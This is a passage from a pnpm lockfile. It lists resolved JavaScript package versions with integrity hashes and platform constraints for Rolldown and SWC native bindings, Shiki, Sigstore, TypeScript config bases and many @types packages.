{integrity: sha512-S+9ANAvUmjutrshV4jZjaiG8XQyuJIZ8a4utWmN/vW1sgQ9IfBnPndwkmQYw53QmouOIytT874u65HEmu6H5jw==}\n    engines: {node: '>=18'}\n\n  '@quansync/fs@1.0.0':\n    resolution: {integrity: sha512-4TJ3DFtlf1L5LDMaM6CanJ/0lckGNtJcMjQ1NAV6zDmA0tEHKZtxNKin8EgPaVX1YzljbxckyT2tJrpQKAtngQ==}\n\n  '@rolldown/binding-android-arm64@1.0.0-beta.53':\n    resolution: {integrity: sha512-Ok9V8o7o6YfSdTTYA/uHH30r3YtOxLD6G3wih/U9DO0ucBBFq8WPt/DslU53OgfteLRHITZny9N/qCUxMf9kjQ==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [android]\n\n  '@rolldown/binding-android-arm64@1.0.0-beta.55':\n    resolution: {integrity: sha512-5cPpHdO+zp+klznZnIHRO1bMHDq5hS9cqXodEKAaa/dQTPDjnE91OwAsy3o1gT2x4QaY8NzdBXAvutYdaw0WeA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [android]\n\n  '@rolldown/binding-darwin-arm64@1.0.0-beta.53':\n    resolution: {integrity: sha512-yIsKqMz0CtRnVa6x3Pa+mzTihr4Ty+Z6HfPbZ7RVbk1Uxnco4+CUn7Qbm/5SBol1JD/7nvY8rphAgyAi7Lj6Vg==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@rolldown/binding-darwin-arm64@1.0.0-beta.55':\n    resolution: {integrity: sha512-l0887CGU2SXZr0UJmeEcXSvtDCOhDTTYXuoWbhrEJ58YQhQk24EVhDhHMTyjJb1PBRniUgNc1G0T51eF8z+TWw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@rolldown/binding-darwin-x64@1.0.0-beta.53':\n    resolution: {integrity: sha512-GTXe+mxsCGUnJOFMhfGWmefP7Q9TpYUseHvhAhr21nCTgdS8jPsvirb0tJwM3lN0/u/cg7bpFNa16fQrjKrCjQ==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [darwin]\n\n  '@rolldown/binding-darwin-x64@1.0.0-beta.55':\n    resolution: {integrity: sha512-d7qP2AVYzN0tYIP4vJ7nmr26xvmlwdkLD/jWIc9Z9dqh5y0UGPigO3m5eHoHq9BNazmwdD9WzDHbQZyXFZjgtA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [darwin]\n\n  '@rolldown/binding-freebsd-x64@1.0.0-beta.53':\n    resolution: {integrity: sha512-9Tmp7bBvKqyDkMcL4e089pH3RsjD3SUungjmqWtyhNOxoQMh0fSmINTyYV8KXtE+JkxYMPWvnEt+/mfpVCkk8w==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [freebsd]\n\n  '@rolldown/binding-freebsd-x64@1.0.0-beta.55':\n    resolution: {integrity: sha512-j311E4NOB0VMmXHoDDZhrWidUf7L/Sa6bu/+i2cskvHKU40zcUNPSYeD2YiO2MX+hhDFa5bJwhliYfs+bTrSZw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [freebsd]\n\n  '@rolldown/binding-linux-arm-gnueabihf@1.0.0-beta.53':\n    resolution: {integrity: sha512-a1y5fiB0iovuzdbjUxa7+Zcvgv+mTmlGGC4XydVIsyl48eoxgaYkA3l9079hyTyhECsPq+mbr0gVQsFU11OJAQ==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm]\n    os: [linux]\n\n  '@rolldown/binding-linux-arm-gnueabihf@1.0.0-beta.55':\n    resolution: {integrity: sha512-lAsaYWhfNTW2A/9O7zCpb5eIJBrFeNEatOS/DDOZ5V/95NHy50g4b/5ViCqchfyFqRb7MKUR18/+xWkIcDkeIw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm]\n    os: [linux]\n\n  '@rolldown/binding-linux-arm64-gnu@1.0.0-beta.53':\n    resolution: {integrity: sha512-bpIGX+ov9PhJYV+wHNXl9rzq4F0QvILiURn0y0oepbQx+7stmQsKA0DhPGwmhfvF856wq+gbM8L92SAa/CBcLg==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [linux]\n    libc: [glibc]\n\n  '@rolldown/binding-linux-arm64-gnu@1.0.0-beta.55':\n    resolution: {integrity: sha512-2x6ffiVLZrQv7Xii9+JdtyT1U3bQhKj59K3eRnYlrXsKyjkjfmiDUVx2n+zSyijisUqD62fcegmx2oLLfeTkCA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [linux]\n    libc: [glibc]\n\n  '@rolldown/binding-linux-arm64-musl@1.0.0-beta.53':\n    resolution: {integrity: sha512-bGe5EBB8FVjHBR1mOLOPEFg1Lp3//7geqWkU5NIhxe+yH0W8FVrQ6WRYOap4SUTKdklD/dC4qPLREkMMQ855FA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [linux]\n    libc: [musl]\n\n  '@rolldown/binding-linux-arm64-musl@1.0.0-beta.55':\n    resolution: {integrity: sha512-QbNncvqAXziya5wleI+OJvmceEE15vE4yn4qfbI/hwT/+8ZcqxyfRZOOh62KjisXxp4D0h3JZspycXYejxAU3w==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [linux]\n    libc: [musl]\n\n  '@rolldown/binding-linux-x64-gnu@1.0.0-beta.53':\n    resolution: {integrity: sha512-qL+63WKVQs1CMvFedlPt0U9PiEKJOAL/bsHMKUDS6Vp2Q+YAv/QLPu8rcvkfIMvQ0FPU2WL0aX4eWwF6e/GAnA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [linux]\n    libc: [glibc]\n\n  '@rolldown/binding-linux-x64-gnu@1.0.0-beta.55':\n    resolution: {integrity: sha512-YZCTZZM+rujxwVc6A+QZaNMJXVtmabmFYLG2VGQTKaBfYGvBKUgtbMEttnp/oZ88BMi2DzadBVhOmfQV8SuHhw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [linux]\n    libc: [glibc]\n\n  '@rolldown/binding-linux-x64-musl@1.0.0-beta.53':\n    resolution: {integrity: sha512-VGl9JIGjoJh3H8Mb+7xnVqODajBmrdOOb9lxWXdcmxyI+zjB2sux69br0hZJDTyLJfvBoYm439zPACYbCjGRmw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [linux]\n    libc: [musl]\n\n  '@rolldown/binding-linux-x64-musl@1.0.0-beta.55':\n    resolution: {integrity: sha512-28q9OQ/DDpFh2keS4BVAlc3N65/wiqKbk5K1pgLdu/uWbKa8hgUJofhXxqO+a+Ya2HVTUuYHneWsI2u+eu3N5Q==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [linux]\n    libc: [musl]\n\n  '@rolldown/binding-openharmony-arm64@1.0.0-beta.53':\n    resolution: {integrity: sha512-B4iIserJXuSnNzA5xBLFUIjTfhNy7d9sq4FUMQY3GhQWGVhS2RWWzzDnkSU6MUt7/aHUrep0CdQfXUJI9D3W7A==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [openharmony]\n\n  '@rolldown/binding-openharmony-arm64@1.0.0-beta.55':\n    resolution: {integrity: sha512-LiCA4BjCnm49B+j1lFzUtlC+4ZphBv0d0g5VqrEJua/uyv9Ey1v9tiaMql1C8c0TVSNDUmrkfHQ71vuQC7YfpQ==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [openharmony]\n\n  '@rolldown/binding-wasm32-wasi@1.0.0-beta.53':\n    resolution: {integrity: sha512-BUjAEgpABEJXilGq/BPh7jeU3WAJ5o15c1ZEgHaDWSz3LB881LQZnbNJHmUiM4d1JQWMYYyR1Y490IBHi2FPJg==}\n    engines: {node: '>=14.0.0'}\n    cpu: [wasm32]\n\n  '@rolldown/binding-wasm32-wasi@1.0.0-beta.55':\n    resolution: {integrity: sha512-nZ76tY7T0Oe8vamz5Cv5CBJvrqeQxwj1WaJ2GxX8Msqs0zsQMMcvoyxOf0glnJlxxgKjtoBxAOxaAU8ERbW6Tg==}\n    engines: {node: '>=14.0.0'}\n    cpu: [wasm32]\n\n  '@rolldown/binding-win32-arm64-msvc@1.0.0-beta.53':\n    resolution: {integrity: sha512-s27uU7tpCWSjHBnxyVXHt3rMrQdJq5MHNv3BzsewCIroIw3DJFjMH1dzCPPMUFxnh1r52Nf9IJ/eWp6LDoyGcw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [win32]\n\n  '@rolldown/binding-win32-arm64-msvc@1.0.0-beta.55':\n    resolution: {integrity: sha512-TFVVfLfhL1G+pWspYAgPK/FSqjiBtRKYX9hixfs508QVEZPQlubYAepHPA7kEa6lZXYj5ntzF87KC6RNhxo+ew==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [win32]\n\n  '@rolldown/binding-win32-x64-msvc@1.0.0-beta.53':\n    resolution: {integrity: sha512-cjWL/USPJ1g0en2htb4ssMjIycc36RvdQAx1WlXnS6DpULswiUTVXPDesTifSKYSyvx24E0YqQkEm0K/M2Z/AA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [win32]\n\n  '@rolldown/binding-win32-x64-msvc@1.0.0-beta.55':\n    resolution: {integrity: sha512-j1WBlk0p+ISgLzMIgl0xHp1aBGXenoK2+qWYc/wil2Vse7kVOdFq9aeQ8ahK6/oxX2teQ5+eDvgjdywqTL+daA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [win32]\n\n  '@rolldown/pluginutils@1.0.0-beta.29':\n    resolution: {integrity: sha512-NIJgOsMjbxAXvoGq/X0gD7VPMQ8j9g0BiDaNjVNVjvl+iKXxL3Jre0v31RmBYeLEmkbj2s02v8vFTbUXi5XS2Q==}\n\n  '@rolldown/pluginutils@1.0.0-beta.53':\n    resolution: {integrity: sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==}\n\n  '@rolldown/pluginutils@1.0.0-beta.55':\n    resolution: {integrity: sha512-vajw/B3qoi7aYnnD4BQ4VoCcXQWnF0roSwE2iynbNxgW4l9mFwtLmLmUhpDdcTBfKyZm1p/T0D13qG94XBLohA==}\n\n  '@sec-ant/readable-stream@0.4.1':\n    resolution: {integrity: sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg==}\n\n  '@shikijs/core@3.15.0':\n    resolution: {integrity: sha512-8TOG6yG557q+fMsSVa8nkEDOZNTSxjbbR8l6lF2gyr6Np+jrPlslqDxQkN6rMXCECQ3isNPZAGszAfYoJOPGlg==}\n\n  '@shikijs/engine-javascript@3.15.0':\n    resolution: {integrity: sha512-ZedbOFpopibdLmvTz2sJPJgns8Xvyabe2QbmqMTz07kt1pTzfEvKZc5IqPVO/XFiEbbNyaOpjPBkkr1vlwS+qg==}\n\n  '@shikijs/engine-oniguruma@3.15.0':\n    resolution: {integrity: sha512-HnqFsV11skAHvOArMZdLBZZApRSYS4LSztk2K3016Y9VCyZISnlYUYsL2hzlS7tPqKHvNqmI5JSUJZprXloMvA==}\n\n  '@shikijs/langs@3.15.0':\n    resolution: {integrity: sha512-WpRvEFvkVvO65uKYW4Rzxs+IG0gToyM8SARQMtGGsH4GDMNZrr60qdggXrFOsdfOVssG/QQGEl3FnJ3EZ+8w8A==}\n\n  '@shikijs/themes@3.15.0':\n    resolution: {integrity: sha512-8ow2zWb1IDvCKjYb0KiLNrK4offFdkfNVPXb1OZykpLCzRU6j+efkY+Y7VQjNlNFXonSw+4AOdGYtmqykDbRiQ==}\n\n  '@shikijs/transformers@3.15.0':\n    resolution: {integrity: sha512-Hmwip5ovvSkg+Kc41JTvSHHVfCYF+C8Cp1omb5AJj4Xvd+y9IXz2rKJwmFRGsuN0vpHxywcXJ1+Y4B9S7EG1/A==}\n\n  '@shikijs/types@3.15.0':\n    resolution: {integrity: sha512-BnP+y/EQnhihgHy4oIAN+6FFtmfTekwOLsQbRw9hOKwqgNy8Bdsjq8B05oAt/ZgvIWWFrshV71ytOrlPfYjIJw==}\n\n  '@shikijs/vscode-textmate@10.0.2':\n    resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==}\n\n  '@sigstore/bundle@1.1.0':\n    resolution: {integrity: sha512-PFutXEy0SmQxYI4texPw3dd2KewuNqv7OuK1ZFtY2fM754yhvG2KdgwIhRnoEE2uHdtdGNQ8s0lb94dW9sELog==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@sigstore/protobuf-specs@0.2.1':\n    resolution: {integrity: sha512-XTWVxnWJu+c1oCshMLwnKvz8ZQJJDVOlciMfgpJBQbThVjKTCG8dwyhgLngBD2KN0ap9F/gOV8rFDEx8uh7R2A==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@sigstore/sign@1.0.0':\n    resolution: {integrity: sha512-INxFVNQteLtcfGmcoldzV6Je0sbbfh9I16DM4yJPw3j5+TFP8X6uIiA18mvpEa9yyeycAKgPmOA3X9hVdVTPUA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@sigstore/tuf@1.0.3':\n    resolution: {integrity: sha512-2bRovzs0nJZFlCN3rXirE4gwxCn97JNjMmwpecqlbgV9WcxX7WRuIrgzx/X7Ib7MYRbyUTpBYE0s2x6AmZXnlg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@sinclair/typebox@0.34.41':\n    resolution: {integrity: sha512-6gS8pZzSXdyRHTIqoqSVknxolr1kzfy4/CeDnrzsVz8TTIWUbOBr6gnzOmTYJ3eXQNh4IYHIGi5aIL7sOZ2G/g==}\n\n  '@sindresorhus/merge-streams@2.3.0':\n    resolution: {integrity: sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg==}\n    engines: {node: '>=18'}\n\n  '@sindresorhus/merge-streams@4.0.0':\n    resolution: {integrity: sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==}\n    engines: {node: '>=18'}\n\n  '@standard-schema/spec@1.1.0':\n    resolution: {integrity: sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==}\n\n  '@swc-node/core@1.14.1':\n    resolution: {integrity: sha512-jrt5GUaZUU6cmMS+WTJEvGvaB6j1YNKPHPzC2PUi2BjaFbtxURHj6641Az6xN7b665hNniAIdvjxWcRml5yCnw==}\n    engines: {node: '>= 10'}\n    peerDependencies:\n      '@swc/core': '>= 1.13.3'\n      '@swc/types': '>= 0.1'\n\n  '@swc-node/register@1.11.1':\n    resolution: {integrity: sha512-VQ0hJ5jX31TVv/fhZx4xJRzd8pwn6VvzYd2tGOHHr2TfXGCBixZoqdPDXTiEoJLCTS2MmvBf6zyQZZ0M8aGQCQ==}\n    peerDependencies:\n      '@swc/core': '>= 1.4.13'\n      typescript: '>= 4.3'\n\n  '@swc-node/sourcemap-support@0.6.1':\n    resolution: {integrity: sha512-ovltDVH5QpdHXZkW138vG4+dgcNsxfwxHVoV6BtmTbz2KKl1A8ZSlbdtxzzfNjCjbpayda8Us9eMtcHobm38dA==}\n\n  '@swc/core-darwin-arm64@1.15.3':\n    resolution: {integrity: sha512-AXfeQn0CvcQ4cndlIshETx6jrAM45oeUrK8YeEY6oUZU/qzz0Id0CyvlEywxkWVC81Ajpd8TQQ1fW5yx6zQWkQ==}\n    engines: {node: '>=10'}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@swc/core-darwin-x64@1.15.3':\n    resolution: {integrity: sha512-p68OeCz1ui+MZYG4wmfJGvcsAcFYb6Sl25H9TxWl+GkBgmNimIiRdnypK9nBGlqMZAcxngNPtnG3kEMNnvoJ2A==}\n    engines: {node: '>=10'}\n    cpu: [x64]\n    os: [darwin]\n\n  '@swc/core-linux-arm-gnueabihf@1.15.3':\n    resolution: {integrity: sha512-Nuj5iF4JteFgwrai97mUX+xUOl+rQRHqTvnvHMATL/l9xE6/TJfPBpd3hk/PVpClMXG3Uvk1MxUFOEzM1JrMYg==}\n    engines: {node: '>=10'}\n    cpu: [arm]\n    os: [linux]\n\n  '@swc/core-linux-arm64-gnu@1.15.3':\n    resolution: {integrity: sha512-2Nc/s8jE6mW2EjXWxO/lyQuLKShcmTrym2LRf5Ayp3ICEMX6HwFqB1EzDhwoMa2DcUgmnZIalesq2lG3krrUNw==}\n    engines: {node: '>=10'}\n    cpu: [arm64]\n    os: [linux]\n    libc: [glibc]\n\n  '@swc/core-linux-arm64-musl@1.15.3':\n    resolution: {integrity: sha512-j4SJniZ/qaZ5g8op+p1G9K1z22s/EYGg1UXIb3+Cg4nsxEpF5uSIGEE4mHUfA70L0BR9wKT2QF/zv3vkhfpX4g==}\n    engines: {node: '>=10'}\n    cpu: [arm64]\n    os: [linux]\n    libc: [musl]\n\n  '@swc/core-linux-x64-gnu@1.15.3':\n    resolution: {integrity: sha512-aKttAZnz8YB1VJwPQZtyU8Uk0BfMP63iDMkvjhJzRZVgySmqt/apWSdnoIcZlUoGheBrcqbMC17GGUmur7OT5A==}\n    engines: {node: '>=10'}\n    cpu: [x64]\n    os: [linux]\n    libc: [glibc]\n\n  '@swc/core-linux-x64-musl@1.15.3':\n    resolution: {integrity: sha512-oe8FctPu1gnUsdtGJRO2rvOUIkkIIaHqsO9xxN0bTR7dFTlPTGi2Fhk1tnvXeyAvCPxLIcwD8phzKg6wLv9yug==}\n    engines: {node: '>=10'}\n    cpu: [x64]\n    os: [linux]\n    libc: [musl]\n\n  '@swc/core-win32-arm64-msvc@1.15.3':\n    resolution: {integrity: sha512-L9AjzP2ZQ/Xh58e0lTRMLvEDrcJpR7GwZqAtIeNLcTK7JVE+QineSyHp0kLkO1rttCHyCy0U74kDTj0dRz6raA==}\n    engines: {node: '>=10'}\n    cpu: [arm64]\n    os: [win32]\n\n  '@swc/core-win32-ia32-msvc@1.15.3':\n    resolution: {integrity: sha512-B8UtogMzErUPDWUoKONSVBdsgKYd58rRyv2sHJWKOIMCHfZ22FVXICR4O/VwIYtlnZ7ahERcjayBHDlBZpR0aw==}\n    engines: {node: '>=10'}\n    cpu: [ia32]\n    os: [win32]\n\n  '@swc/core-win32-x64-msvc@1.15.3':\n    resolution: {integrity: sha512-SpZKMR9QBTecHeqpzJdYEfgw30Oo8b/Xl6rjSzBt1g0ZsXyy60KLXrp6IagQyfTYqNYE/caDvwtF2FPn7pomog==}\n    engines: {node: '>=10'}\n    cpu: [x64]\n    os: [win32]\n\n  '@swc/core@1.15.3':\n    resolution: {integrity: sha512-Qd8eBPkUFL4eAONgGjycZXj1jFCBW8Fd+xF0PzdTlBCWQIV1xnUT7B93wUANtW3KGjl3TRcOyxwSx/u/jyKw/Q==}\n    engines: {node: '>=10'}\n    peerDependencies:\n      '@swc/helpers': '>=0.5.17'\n    peerDependenciesMeta:\n      '@swc/helpers':\n        optional: true\n\n  '@swc/counter@0.1.3':\n    resolution: {integrity: sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==}\n\n  '@swc/types@0.1.25':\n    resolution: {integrity: sha512-iAoY/qRhNH8a/hBvm3zKj9qQ4oc2+3w1unPJa2XvTK3XjeLXtzcCingVPw/9e5mn1+0yPqxcBGp9Jf0pkfMb1g==}\n\n  '@tootallnate/once@2.0.0':\n    resolution: {integrity: sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==}\n    engines: {node: '>= 10'}\n\n  '@tsconfig/node10@1.0.11':\n    resolution: {integrity: sha512-DcRjDCujK/kCk/cUe8Xz8ZSpm8mS3mNNpta+jGCA6USEDfktlNvm1+IuZ9eTcDbNk41BHwpHHeW+N1lKCz4zOw==}\n\n  '@tsconfig/node12@1.0.11':\n    resolution: {integrity: sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==}\n\n  '@tsconfig/node14@1.0.3':\n    resolution: {integrity: sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==}\n\n  '@tsconfig/node16@1.0.4':\n    resolution: {integrity: sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==}\n\n  '@tufjs/canonical-json@1.0.0':\n    resolution: {integrity: sha512-QTnf++uxunWvG2z3UFNzAoQPHxnSXOwtaI3iJ+AohhV+5vONuArPjJE7aPXPVXfXJsqrVbZBu9b81AJoSd09IQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@tufjs/models@1.0.4':\n    resolution: {integrity: sha512-qaGV9ltJP0EO25YfFUPhxRVK0evXFIAGicsVXuRim4Ed9cjPxYhNnNJ49SFmbeLgtxpslIkX317IgpfcHPVj/A==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@tybys/wasm-util@0.10.1':\n    resolution: {integrity: sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==}\n\n  '@types/accepts@1.3.7':\n    resolution: {integrity: sha512-Pay9fq2lM2wXPWbteBsRAGiWH2hig4ZE2asK+mm7kUzlxRTfL961rj89I6zV/E3PcIkDqyuBEcMxFT7rccugeQ==}\n\n  '@types/body-parser@1.19.6':\n    resolution: {integrity: sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==}\n\n  '@types/bytes@3.1.5':\n    resolution: {integrity: sha512-VgZkrJckypj85YxEsEavcMmmSOIzkUHqWmM4CCyia5dc54YwsXzJ5uT4fYxBQNEXx+oF1krlhgCbvfubXqZYsQ==}\n\n  '@types/chai@5.2.3':\n    resolution: {integrity: sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==}\n\n  '@types/common-tags@1.8.4':\n    resolution: {integrity: sha512-S+1hLDJPjWNDhcGxsxEbepzaxWqURP/o+3cP4aa2w7yBXgdcmKGQtZzP8JbyfOd0m+33nh+8+kvxYE2UJtBDkg==}\n\n  '@types/connect@3.4.38':\n    resolution: {integrity: sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==}\n\n  '@types/content-disposition@0.5.9':\n    resolution: {integrity: sha512-8uYXI3Gw35MhiVYhG3s295oihrxRyytcRHjSjqnqZVDDy/xcGBRny7+Xj1Wgfhv5QzRtN2hB2dVRBUX9XW3UcQ==}\n\n  '@types/content-type@1.1.9':\n    resolution: {integrity: sha512-Hq9IMnfekuOCsEmYl4QX2HBrT+XsfXiupfrLLY8Dcf3Puf4BkBOxSbWYTITSOQAhJoYPBez+b4MJRpIYL65z8A==}\n\n  '@types/cookie-parser@1.4.9':\n    resolution: {integrity: sha512-tGZiZ2Gtc4m3wIdLkZ8mkj1T6CEHb35+VApbL2T14Dew8HA7c+04dmKqsKRNC+8RJPm16JEK0tFSwdZqubfc4g==}\n    peerDependencies:\n      '@types/express': '*'\n\n  '@types/cookiejar@2.1.5':\n    resolution: {integrity: sha512-he+DHOWReW0nghN24E1WUqM0efK4kI9oTqDm6XmK8ZPe2djZ90BSNdGnIyCLzCPw7/pogPlGbzI2wHGGmi4O/Q==}\n\n  '@types/cookies@0.9.1':\n    resolution: {integrity: sha512-E/DPgzifH4sM1UMadJMWd6mO2jOd4g1Ejwzx8/uRCDpJis1IrlyQEcGAYEomtAqRYmD5ORbNXMeI9U0RiVGZbg==}\n\n  '@types/cross-spawn@6.0.6':\n    resolution: {integrity: sha512-fXRhhUkG4H3TQk5dBhQ7m/JDdSNHKwR2BBia62lhwEIq9xGiQKLxd6LymNhn47SjXhsUEPmxi+PKw2OkW4LLjA==}\n\n  '@types/dargs@5.1.0':\n    resolution: {integrity: sha512-2cXlO8pz13kVYMp6Zgr8Z5DACbaGfoBp7svqZqPGcO+qG3LQLWdB5BzPPASj+UI447XxGmFHi6KjLgUB0fzucQ==}\n\n  '@types/debug@4.1.12':\n    resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==}\n\n  '@types/deep-eql@4.0.2':\n    resolution: {integrity: sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==}\n\n  '@types/destroy@1.0.3':\n    resolution: {integrity: sha512-nRcH61sRUBct1KM6dV4kjNzgLBrM6eSafsBfoGo/tOeKkTPbYsqi5uJqh8Rq7M9+stYh0wW+Tg56XFcsCPrjhw==}\n\n  '@types/encodeurl@1.0.3':\n    resolution: {integrity: sha512-s10aRcePnVw+iUr5GtTQdzf1GC2jQqkLef2bBUFSX3E52RYnuQ4a7KFHifCFdi4QECiSbyFj7eO9CvZeCnvVkA==}\n\n  '@types/escape-html@1.0.4':\n    resolution: {integrity: sha512-qZ72SFTgUAZ5a7Tj6kf2SHLetiH5S6f8G5frB2SPQ3EyF02kxdyBFf4Tz4banE3xCgGnKgWLt//a6VuYHKYJTg==}\n\n  '@types/estree@1.0.8':\n    resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==}\n\n  '@types/express-serve-static-core@5.1.0':\n    resolution: {integrity: sha512-jnHMsrd0Mwa9Cf4IdOzbz543y4XJepXrbia2T4b6+spXC2We3t1y6K44D3mR8XMFSXMCf3/l7rCgddfx7UNVBA==}\n\n  '@types/express@5.0.3':\n    resolution: {integrity: sha512-wGA0NX93b19/dZC1J18tKWVIYWyyF2ZjT9vin/NRu0qzzvfVzWjs04iq2rQ3H65vCTQYlRqs3YHfY7zjdV+9Kw==}\n\n  '@types/extend@3.0.4':\n    resolution: {integrity: sha512-ArMouDUTJEz1SQRpFsT2rIw7DeqICFv5aaVzLSIYMYQSLcwcGOfT3VyglQs/p7K3F7fT4zxr0NWxYZIdifD6dA==}\n\n  '@types/fresh@0.5.3':\n    resolution: {integrity: sha512-eZBbataAbl5t/G/klkfp/dyjOD8LlEC5L1zBrSerj500xJZS2SRxG2dsdlaWMADTm4pT7e0CxAU+8S3PfMuZpw==}\n\n  '@types/fs-readdir-recursive@1.1.3':\n    resolution: {integrity: sha512-2v5JKYQO+14CfurtdaL1cbLrjBeFjmcLkD35zDkaaytYSY/57jb2Kz6FbfJ1k+Lx2aaS0zpTR1dwCyqLkjo9vQ==}\n\n  '@types/hast@3.0.4':\n    resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==}\n\n  '@types/http-assert@1.5.6':\n    resolution: {integrity: sha512-TTEwmtjgVbYAzZYWyeHPrrtWnfVkm8tQkP8P21uQifPgMRgjrow3XDEYqucuC8SKZJT7pUnhU/JymvjggxO9vw==}\n\n  '@types/http-errors@2.0.5':\n    resolution: {integrity: sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==}\n\n  '@types/ini@4.1.1':\n    resolution: {integrity: sha512-MIyNUZipBTbyUNnhvuXJTY7B6qNI78meck9Jbv3wk0OgNwRyOOVEKDutAkOs1snB/tx0FafyR6/SN4Ps0hZPeg==}\n\n  '@types/ioredis-mock@8.2.6':\n    resolution: {integrity: sha512-5heqtZMvQ4nXARY0o8rc8cjkJjct2ScM12yCJ/h731S9He93a2cv+kAhwPCNwTKDfNH9gjRfLG4VpAEYJU0/gQ==}\n    peerDependencies:\n      ioredis: '>=5'\n\n  '@types/istanbul-lib-coverage@2.0.6':\n    resolution: {integrity: sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==}\n\n  